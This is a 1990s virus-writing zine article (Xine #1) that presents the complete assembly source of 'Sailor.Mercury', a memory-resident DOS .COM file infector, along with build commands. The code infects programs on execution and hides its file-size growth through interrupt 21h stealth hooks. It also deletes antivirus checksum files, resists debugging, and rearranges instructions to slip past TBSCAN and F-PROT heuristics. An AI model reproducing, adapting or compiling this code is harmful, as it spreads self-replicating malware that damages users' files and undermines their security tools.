Copy Link
Add to Bookmark
Report
xine-1.019
/-----------------------------\
| Xine - issue #1 - Phile 019 |
\-----------------------------/
;
;
; b0z0 of the -iKx-
; present
; Sailor.Mercury
;
; hyo guys
; this is my first virus that i release to the public... so don't be too
; hard when feedbacking something :) Sailor.Mercury is the first virus of
; the Pretty Soldiers Sailor family... if you dunno who the Pretty Soldiers
; are then IN THE NAME OF THE MOON I'LL PUNISH YOU! :)
; i hope to be around enough to complete all the family... we'll see ;)
; the code in some parts isn't optimized at all. infact like you will notice
; at the comments i scrambled a little some passes to hide some heuristic
; flags from the various lame avs. the virus isn't encrypted... that's simply
; because i am not in this moment able to write a decent encryption engine...
; i tried with some standard xor and so on but this only gave a lot of
; warnings. and anyway the avs will put the decrypt procedure as a search
; string in the same manner that they will put a piece of the unencrypted
; virus... all the length stealth routines are based only on the check of
; the file size (must be < 64k of course) and file time (30 secs).
;
; And now as usual some tech infos about the virus:
; - TSR .com infector
; - infects on execute (4bh)
; - infects files longer than 1024 and shorter than 64000
; - stealth features (disabled when AVP or FPROT or tools like
; CHKDSK or SCANDISK are running)
; * fcb stealth (on 11h/12h)
; * dta stealth (on 4eh/4fh)
; * get/set interrupt 21h stealth (on 3521h/2521h)
; * size stealth on lseek calls 4202h (when seeking from end)
; - general int24h error handler
; - some retro structures
; * deletes msd0g chklist.ms on each succesfull infection
; * deletes tbav checksums
; - antibait code
; * doesn't infect files created today (checking only day, no mnth...)
; * doesn't infect files which lenght is divisible by 512
; * doesn't infect files which lenght is divisible by 1000
; - antidebug code
;
; To compile:
; TASM /M2 MERCURY.ASM
; TLINK /T MERCURY
;
;
mercury segment
assume cs:mercury,ds:mercury,es:mercury
org 100h
start:
call tbscan ;final fool for tbscan :)
call antidebug ;fool fprot
call delta ;calculate delta offset
delta:
mov bp,sp
mov bx,[bp]
mov bp,bx
sub bp,offset delta ;calculate delta offset
res_check:
mov ax,3726h ;installation check
int 21h
cmp ax,374ch
jnz go_resident
call restore_COM ;restore the original com
go_resident:
push cs
mov ax,3521h ; get int 21 adress
int 21h
mov word ptr [bp + old_int21_off],bx
mov word ptr [bp + old_int21_seg],es
pop es
mov ah,4ah ;request too much mem
mov bx,0ffffh
int 21h ;in BX max mem avaiable
sub bx,((end_vir-start+0fh)/10h)+1 ;shrink block
mov ah,4ah
int 21h ;ES = block segment
mov ah,48h
mov bx,((end_vir-start+0fh)/10h) ;allocate needed mem
int 21h ;AX = free segment
dec ax
mov es,ax ;ES = new MCB
push es
push ax
mov ax,cs
dec ax ;MCB of the previous block
mov es,ax
mov byte ptr es:[0],'Z' ;mark the previous as the last
pop ax ;so mem /debug won't see us
pop es
mov si,offset start ;ds:si = virus
add si,bp
sub ax,0fh
mov es,ax ;es:di = place for the virus
mov di,0ffh ;ds:si --> es:di
inc di ;damn tbscan :)
mov cx,offset end_vir - offset start
cld
rep movsb ; Copy the virus
push es
mov ax,2621h ; install our interrupt handler
dec ah ; fuck TBSCAN memres scan flag
pop ds
mov dx,[offset int21_handler]
int 21h
restore_COM:
pop es ;this adjust the stack from the
;calculation of the delta offset
;anyway i think that anything would
;work also fine without this
push cs ;give again control to the program
pop es
push es
pop ds
mov di,0ffh ;like mov di,100h but in this
inc di ;way tbscan won't issue 'O' flag
lea si,[bp+old_jump] ;restore first four bytes
push di
movsw
movsw
pop ax
jmp ax
lsend:
pushf
push cs ;we must return home later :)
call doint21 ;do the int21h
jc notnf
cmp dx,00h
jnz notnf ;COMs are < 65k so if dx<>0 then
;maybe isn't a .COM
push ax ;save length infos
push cx
push dx
mov ax,5700h ;get date-time
int 21h
and cl,1fh ;our time-marker?
xor cl,0fh
pop dx
pop cx
pop ax ;restore infos
jnz notnf ;if not infected leave
sub ax,(end_vir-start) ;is infected? hide the size!
notnf:
retf 2
fcbstealth:
pushf
push cs
call doint21
or al,al ;dir sucessfull??
jnz leave_dir ;no? leave all
push es
push bx
push ax
mov ah,51h ;get psp
int 21h
mov es,bx
cmp bx,es:[16h] ;is the PSP ok??
jnz error
mov bx,dx
mov al,[bx] ;al<--current drive
push ax ;look 4 extended FCB
mov ah,2fh ;get dta area
int 21h
pop ax
inc al ;=ffh
jnz no_ext ;extended fcb?
add bx,7
no_ext:
cmp word ptr es:[bx+1fh],00h ;is > 65k?
jnz error ;yup.. leave
mov al,byte ptr es:[bx+17h] ;seconds field
and al,1fh
xor al,0fh ;is file infected?
jnz error
hide:
sub word ptr es:[bx+1dh],(end_vir-start) ;hide size
error:
pop ax
pop bx
pop es
leave_dir:
retf 2
int21_handler:
cmp ax,3726h ;installation check
jne no_check
add al,al
iret
no_check:
cmp ah,32h
jne dsnn
mov byte ptr cs:[disste],00h
dsnn:
cmp ah,4ch ;program ending?
je re_stealth ;reput stealth if we disabled it
cmp byte ptr cs:[disste],01h ;if AVs runs disable
je doint21 ;stealth/infect
push bx
mov bh,12h ;bye bye tbscan X flag :)
cmp ah,bh
pop bx
je fcbstealth
cmp ah,11h
je fcbstealth
cmp ax,4202h
jne nofend
cmp cl,4dh ;is our call?
jne nofend
jmp lsend
nofend:
cmp ax,3521h ;get int21h stealth
je reqint21
cmp ax,2521h ;set int21h stealth
je setint21
cmp ah,4eh
je dtastealth
cmp ah,4fh
je dtastealth
push bx
mov bh,4bh ;re-g'bye tbscan ];)
cmp ah,bh
pop bx
je infect
doint21:
jmp cs:old_int21
old_int21 label dword
old_int21_off dw ? ;original int21 offset
old_int21_seg dw ? ;original int21 segment
reqint21:
mov es,word ptr cs:[old_int21_seg] ;give original int21h
mov bx,word ptr cs:[old_int21_off] ;instead of our
iret
setint21:
mov word ptr cs:[old_int21_seg],ds ;we will stay always
mov word ptr cs:[old_int21_off],dx ;on the top :)
iret
re_stealth:
mov byte ptr cs:[disste],00h ;reenable stealth
jmp cs:old_int21
dtastealth:
pushf
push cs ;save for the return
call doint21 ;do the call
jc nomatches
pushf
push ax
push es
push bx
mov ah,2fh ;open dta
int 21h
cmp word ptr es:[bx+1ch],00h ;is file > 64k?
jnz not_inf ;yup.. isn't a COM
mov ax,es:[bx+16h] ;file time secs
and al,1fh
xor al,0fh
jnz not_inf ;is our marker?
sub es:[bx+1ah],(end_vir-start) ;hide file size
not_inf:
pop bx
pop es
pop ax
popf
nomatches:
retf 2
infect:
pushf
push ax
push bx
push cx
push dx
push es
push ds
push bp
push si
push di
push ds
push dx
mov ax,3524h ;get int24h seg and off
int 21h
mov word ptr cs:[old_int24_off],bx ;store them
mov word ptr cs:[old_int24_seg],es
push cs
pop ds
mov dx,offset int24_handler ;put our int24h
mov ax,2524h
int 21h
pop dx
pop ds
push di
push dx
pop di
sloop:
inc di
cmp byte ptr ds:[di],'.'
jne sloop ;search for '.'
sub di,02h
cmp word ptr ds:di,'PV' ;is AVP?
jne protest
avrun:
mov byte ptr cs:[disste],01h ;yup... so disable get/set
jmp ahead ;interrupt stealth so he
protest: ;would notice us
cmp word ptr ds:di,'OR' ;is AVPRO?
je avrun
cmp word ptr ds:di,'TO' ;is f-prot running?
je avrun ;so it won't find us
ahead:
pop di
mov ax,4300h ;get file attributes
int 21h
push cx ;save attributes
push ds
push dx
sub cx,cx
call set_attr ;erase all attributes
mov ax,3d02h ;open file for rw
int 21h
jnc continue
jmp exit_infect2
continue:
mov bx,ax ;bx<--file handle
push cs
pop ds
mov ax,5700h ;get date-time
int 21h
push cx ;store date/time on stack
push dx
push dx
mov ah,2bh ;get today's date
dec ah ;hiho tbscan ;)
int 21h
pop cx
and cl,01fh ;take only day from full date
cmp cl,dl ;is the same as today?
jz exitjump ;hmmm... maybe a bait...
mov ah,3fh ;read from file
mov cx,4 ;four bytes
mov dx,offset old_jump ;in our buffer
int 21h
cmp byte ptr old_jump,'M' ;exe?
je exitjump
cmp byte ptr old_jump,0e9h ;is there a jump?
jne goahead
cmp byte ptr old_jump+3,26h ;is our marker?
exitjump:
je exit_infect
goahead:
push dx
sub cx,cx
lea dx,crca
call retro
lea dx,crcb
call retro
pop dx
mov cl,4dh ;our marker
mov ax,4202h ;go to the end of the file
cwd
sub cx,cx
int 21h
cmp ax,0fa00h ;don't infect files >64000
ja exit_infect
cmp ax,1024 ;don't infect files <=1024
jbe exit_infect
mov cx,ax
and cx,01ffh ;if divisible by 512 leave
jz exit_infect ;it's, probably a bait!
push ax
mov cx,1000 ;is length divisible by 1000??
div cx ;hmmm suspicious... there is
or dx,dx ;a bait near here... :)
pop ax
jz exit_infect
sub ax,3
mov word ptr new_jump + 1, ax ;calculate new jump
mov ah,3fh ;copy da virus
inc ah
mov cx,(end_vir-start)
mov dx,offset start
int 21h
xor al,al ;go at start
mov ah,42h
cwd
mov cx,0
int 21h
mov cx,4 ;copy new jump
mov ah,3fh ;at the start
inc ah
mov dx,offset new_jump
int 21h
pop dx ;restore date/time from stack
pop cx
mov ax,5601h ;set date
inc ah ;damn tbscan
and cl,0e0h ;marker for fcb stealth
add cl,0fh
int 21h
push ds ;correct stack if not infection
push bx ;occoured
exit_infect:
pop bx
pop ds
mov ah,3eh ;close file
int 21h
exit_infect2:
pop dx ;restore file attributes
pop ds
pop cx
call set_attr ;reput old file attributes
mov ax,2524h
mov ds,cs:[old_int24_seg]
mov dx,cs:[old_int24_off]
int 21h ; restore int24h
pop di ;restore registers
pop si
pop bp
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
popf
jmp doint21
old_jump db 0cdh,20h,00h,00h ;old com jump
virus db 0,'Sailor.Mercury',0
author db '-b0z0/iKx-',0
new_jump db 0e9h,00h,00h,26h ;space for the new jump + mark
set_attr:
mov ax,4201h ;set attributes
inc ah ;fuck tbscan F flag
int 21h
ret
tbscan:
mov ax,0305h ;fool tbscan :)
sub bx,bx
int 16h ;the final shoot for it ;)
ret
antidebug:
mov cx,0aebh ;prevent debugging
inc bp ;shit for fprot :)
mov ax,0fe05h
jmp $-2
add ah,03bh
jmp $-11
int 21h
ret
int24_handler:
mov al,03h
iret
retro:
call set_attr ;deletes file in ds:dx
mov ah,41h
int 21h
ret
crca db 'ANTI-VIR.DAT',0 ;what will we delete ;)
crcb db 'CHKLIST.MS',0 ;the only 2 that i saw in to be used
end_vir:
disste db 00h ;get/set int enable/disable
old_int24_off dw ? ;original int24 offset
old_int24_seg dw ? ;original int24 segment
mercury ends
end start